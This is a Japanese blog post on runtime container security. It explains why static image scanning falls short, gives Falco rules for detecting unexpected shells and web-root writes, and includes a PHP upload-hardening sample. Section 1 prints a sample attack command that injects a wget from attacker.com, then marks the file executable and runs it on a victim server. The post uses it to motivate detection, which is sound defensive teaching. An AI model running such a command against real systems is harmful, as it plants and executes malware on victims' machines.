コンテナの「中身」は見えているか？Falcoで実現する戦術的ランタイム監視の極意
やあ、エンジニア諸君。今日も本番環境のログを眺めて溜息をついていないか？
多くのチームが「コンテナイメージをスキャンしているから大丈夫」と高を括っている。だが、それは「家の鍵をかけたから泥棒は一生入ってこない」と言っているのと同じだ。ゼロデイ脆弱性や、依存ライブラリの汚染（サプライチェーン攻撃）でコンテナ内に侵入された瞬間、君たちの防御壁は紙同然になる。
今日は、侵入された後の「最後の砦」、ランタイムセキュリティについて話そう。特に、システムコールを監視し、コンテナの挙動を監視する「Falco」を用いた異常検知の実践的なアプローチだ。
—
1. なぜ「静的スキャン」だけでは不十分なのか
攻撃者は、コンテナが起動した後にアプリケーションの脆弱性（RCEなど）を突き、シェルの実行権限を奪う。このとき、コンテナのファイルシステムは改ざんされ、バックドアが仕込まれる。
例えば、攻撃者がPHPのeval()脆弱性を突いて、/var/www/html/配下にshell.phpを作成し、そこから外部のC2サーバーと通信を開始するシナリオを考えてみよう。
攻撃者のPoC（概念実証）:
攻撃者がWebサーバー経由で実行するコマンド例
curl -X POST http://victim-app.com/vuln.php -d “cmd=wget http://attacker.com/malware -O /tmp/malware && chmod +x /tmp/malware && /tmp/malware”
この攻撃に対し、既存のWAFや静的解析は無力なことが多い。ここで必要になるのが、「コンテナが実行するシステムコールを監視する」という発想だ。
—
2. Falcoによる「異常検知」の戦術
Falcoは、Linuxカーネルのシステムコールを監視し、ルールに違反する挙動をリアルタイムで検知する。単なるログ収集とは異なり、ルールベースで「これは明らかに異常だ」という挙動を即座に叩き出す。
実践的なFalcoルール設定 (falco_rules.local.yaml)
まずは、コンテナ内での予期せぬシェル実行とファイル改ざんを検知するルールだ。これらを falco_rules.local.yaml に追加してくれ。
コンテナ内でシェルが起動されたら即座にアラート
- rule: Unexpected shell in container
desc: コンテナ内でシェルが起動されたことを検知
condition: >
spawned_process and container and
proc.name in (sh, bash, zsh, dash) and
container.id != host
output: “不審なシェル実行: %user.name (proc=%proc.name) container=%container.id image=%container.image.repository”
priority: WARNING
特定ディレクトリ（Webルート）の予期せぬファイル作成を検知
- rule: Unexpected file creation in web root
desc: コンテナのWebルートディレクトリへのファイル書き込みを検知
condition: >
evt.type = open and evt.dir = > and
fd.name startswith “/var/www/html/” and
proc.name in (php, python3, node)
output: “Webルートへの不審な書き込み: %user.name (proc=%proc.name) file=%fd.name”
priority: CRITICAL
—
3. なぜこの設定が「現場」で効くのか
このルールの肝は、「正常な状態」を定義した上で、それ以外をノイズとして排除している点にある。
- コンテナの不変性（Immutability）: 本来、コンテナは実行中にファイルが増えるべきではない。もし増えているなら、それは攻撃の痕跡か、デプロイプロセスの不備だ。
- 権限の最小化:
proc.name in (php, python3, node)と指定することで、WebアプリケーションプロセスがWebルートに書き込むという「異常な挙動」をピンポイントで射抜いている。
—
4. 開発者が守るべき「セキュアな設計」のサンプル
Falcoで検知することも重要だが、そもそも「侵入されたとき」の被害を最小化する設計をコードに落とし込む必要がある。
PHPでのファイル操作の堅牢化 (php.ini / 設計指針)
Webアプリケーションがディレクトリに書き込む必要があるなら、そのディレクトリのパーミッションを厳格に管理し、実行権限を剥奪する。
// セキュアなファイルアップロードの例
$target_dir = “/var/www/html/uploads/”;
$filename = basename($_FILES[“file”][“name”]);
// 拡張子チェックとMIMEタイプチェックは基本中の基本
$allowed_ext = [‘jpg’, ‘png’];
$ext = pathinfo($filename, PATHINFO_EXTENSION);
if (!in_array($ext, $allowed_ext)) {
die(“不正なファイルです”);
}
// 重要なポイント:
// 1. ファイル名はランダムなハッシュ値にする
// 2. アップロード先ディレクトリにはWebサーバーの実行権限以外与えない
// 3. アップロード先に.htaccessを置き、スクリプト実行を禁止する
$new_name = bin2hex(random_bytes(16)) . “.” . $ext;
move_uploaded_file($_FILES[“file”][“tmp_name”], $target_dir . $new_name);
—
結論：セキュリティは「継続的な緊張感」だ
Falcoのような監視ツールを入れたからといって、安心しきってはいけない。本当のプロは、「検知した後に、誰が、どの程度のスピードで対応するか」までを設計している。
1. FalcoのアラートをSlackやPagerDutyに飛ばす。
2. アラートを受け取った瞬間に、該当コンテナの実行を自動で停止（docker stop）するオートメーションを組む。
3. 証拠保全のために、メモリダンプやファイルシステムのスナップショットを自動取得する。
セキュリティは、ツールを導入して終わりではない。君たちが書くコードの一行一行、そしてコンテナの設定の一つ一つが、攻撃者の侵入コストを跳ね上げる「防壁」になることを忘れないでくれ。
現場からは以上だ。さて、次のインシデントに備えてログを見に行こうか。質問があればいつでも持ってきてくれ。
コメント